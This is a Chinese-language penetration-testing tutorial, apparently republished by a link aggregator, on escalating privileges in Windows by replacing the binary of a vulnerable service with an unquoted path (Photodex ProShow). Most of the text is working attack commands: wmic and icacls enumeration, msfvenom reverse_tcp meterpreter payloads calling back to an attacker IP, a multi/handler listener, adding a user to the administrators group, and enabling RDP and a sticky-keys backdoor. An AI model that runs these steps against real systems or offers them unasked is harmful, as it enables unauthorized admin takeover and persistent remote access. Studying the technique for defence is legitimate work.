

Windows平台下实现提权的新姿势
source link: http://www.freebuf.com/articles/system/182479.html?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

在这篇文章中,我们将给大家演示如何通过无引号服务路径来实现在Windows平台下的提权。在渗透测试的过程中,当我们以本地用户身份生成命令Shell时,我们是无法检查受限文件或目录的,因此我们才需要拿到管理员访问权。
无引号服务路径漏洞
这个漏洞跟可执行文件的路径有关,如果文件名中存在空格,或者文件路径没有包裹在双引号之中,那攻击者就可以用恶意exe文件替换掉原本合法的exe文件,并实现提权。
环境搭建
目标主机:Windows 7
攻击主机:Kali Linux
首先,我们需要在目标Windows系统中下载并安装一个名叫photodex proshow的包含漏洞的应用程序,下载镜像可以在 Exploit DB 上找到。
生成目标主机
为了拿到meterpreter会话,我们至少要成功入侵目标Windows设备一次,你可以从下图中看到,我们已经拿到了目标主机的meterpreter会话了。现在,打开命令Shell:
shell
你可以看到,我们拿到的shell访问权是本地用户local_user,为了拿到cmd的管理员权限,我们就需要提权。首先,我们可以枚举出目标主机上正在运行的所有服务,并找出那些没有被双引号包裹的服务路径,这一步可以用下列命令实现:
wmic service get name,displayname,pathname,startmode |findstr /i "auto"|findstr /i /v "c:\windows\\" |findstr /i /v """
这里,我们枚举出了下列路径:
C:\ProgramFiles\Photodex\ProShow Producer\Scsiaccess.exe
这个路径没有被双引号包裹,而且文件名中也存在空格。
现在,我们需要使用下列命令识别文件目录权限:
icacls Scsiaccess.exe
你可以看到,它给任何人都提供了写入权限,这也就意味着任何用户都可以重写该文件:
通过进程迁移实现提权
现在,我们只需要把恶意exe放在同一文件夹内,它就自动拥有管理员权限了,当服务重启之后,Windows将启动这个恶意exe。
在Kali Linux中打开终端,然后通过下列命令使用msfvenom生成恶意exe Payload:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234prependmigrate=true prepenmigrateprocess=explorer.exe -f exe >/root/Desktop/scsiaccess.exe
上面的命令将在桌面生成一个恶意exe文件,然后将该文件发送给目标主机。Payload会尝试迁移恶意进程,如果用户通过进程ID终止了当前进程的运行,攻击者也不会丢失会话和Payload的控制权。
现在,用恶意exe替换掉合法的可执行文件,这里我把合法Scsiaccess.exe重命名为了Scsiaccess.exe.orginal,并将恶意Scsiaccess.exe上传到了同一文件夹内,然后重启目标主机:
movescsiaccess.exe scsiaccess.exe.orginal upload/root/Desktop/ scsiaccess.exe
reboot:
与此同时,我在新的终端里开启了多个handler监听器来捕捉meterpreter会话:
use exploit/multi/handler msf exploit(multi/handler) set payload windows /meterpreter/reverse_tcp msf exploit(multi/handler) set lhost 192.168.1.107 msf exploit(multi/handler) set lport 1234 msf exploit(multi/handler) exploit
一段时间之后,我们就能够拿到拥有管理员权限的shell了:
通过添加管理员组用户来实现提权
使用local_user权限生成了shell之后,我们就可以在没有管理员权限的情况下枚举完整的用户名列表了。这里我们发现,用户raaz不是管理员组的成员:
net user net user raaz
同样的,我们生成了一个exe文件,并用它来将用户raaz添加到了管理员组中,我们生成的恶意exe文件名还是叫Scsiaccess.exe:
msfvenom -p windows/exec CMD='net localgroup administrators raaz /add' -f exe >/root/Desktop/scsiaccess.exe
重复上述步骤,用恶意exe文件替换掉同一目录下的合法exe,然后重启目标主机:
仔细看下面的截图,你就会发现用户raaz已经成为了管理员组成员了:
通过RDP&Sticky_key实现提权
使用msfvenom生成一个相同文件名(Scsiaccess.exe)的exe文件,然后将其发送至目标主机,同时利用自动运行脚本开启多个监听器,这样将会启用RDP服务:
use exploit/multi/handler msf exploit(multi/handler) set payload windows /meterpreter/reverse_tcp msf exploit(multi/handler) set lhost 192.168.1.107 msf exploit(multi/handler) set lport 1234 msf exploit(multi/handler) set AutoRunScript post/windows/manage/enable_rdp msf exploit(multi/handler) exploit
类似的,当目标服务重启之后,我们可以设置自动运行脚本来启用sticky_keys:
msf exploit(multi/handler) set AutoRunScript post/windows/manage/sticky_keys msf exploit(multi/handler) run
你可以从下图中看到,命令开启了另一个meterpreter会话(session 3),这个会话拥有管理员权限,现在我们就可以通过RDP与目标主机建立连接了:
rdp 192.168.1.101
接下来,连续按下5次shift键,你将会拿到拥有管理员权限的命令行窗口:
Recommend
-
136
Error 520 Ray ID: 70bf0840e8baa7b4 • 2022-05-15 21:40:29 UTC Web server is returning an unknown error
-
19
Windows平台下的堆溢出利用技术(二)(上篇) lxj616
-
79
Docker 在 Windows Server 2016平台下 .Net Core的镜像问题 ...
-
23
图标使用新姿势- react 按需引用 svg 的实现 18 June 2019 浏览量:1218 图标是前端在业务开发中不得不写的一个东西,以我司的几个部门为例,每个组在写图标上都有不一样的方式: 组1:单色图标...
-
25
0x00 前言 Pupy在Windows平台下的后渗透模块包括一个实用的功能:屏幕控制。这个功能不仅能够查看屏幕内容,也能够发送鼠标和键盘消息。本文将要对这个功能的实现方法进行分析,换一种思路实现类似的功能,便于二次开发。 0x01 简介
-
36
0x00 前言 Pupy是使用Python开发的跨平台远程管理和后期开发工具,支持很多实用的功能。 本文将要对Pupy在Windows平台的启动文件类型、连接方式和通信协议进行介绍,将其中的后渗透模块...
-
9
在 Mac 上实现立体声 HomePod 的新姿势...
-
7
V2EX › 程序员 Linux /macos 平台下面,有类似 windows 平台下,被远程连接后,自动 lock 住桌面的方法么?
-
9
谈及写作,不少的用户都是使用 Mac 平台配合多样的 App 完成从写稿到发布的一条龙服务。但是在 Windows 平台上,往往需要很多手动的过程。比如,在少数派平台上,官方提供了专用的接口给 MWeb App 完成从写稿、插图、发布的完善服务,但是 MWeb App 仅在 Mac 平...
-
7
最近在搞 计算机图形学相关的东西,有个 demo 用到了 opencv,找了 google 一圈,发现国内都没有比较好的配置和解决的办法,要不就是几年前的教程,最近正好踩坑完,其中经历了自己编译 source file,然后又用 Cmake-gui 来编译,发现都搞不定,最后直接通过下载源码...
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK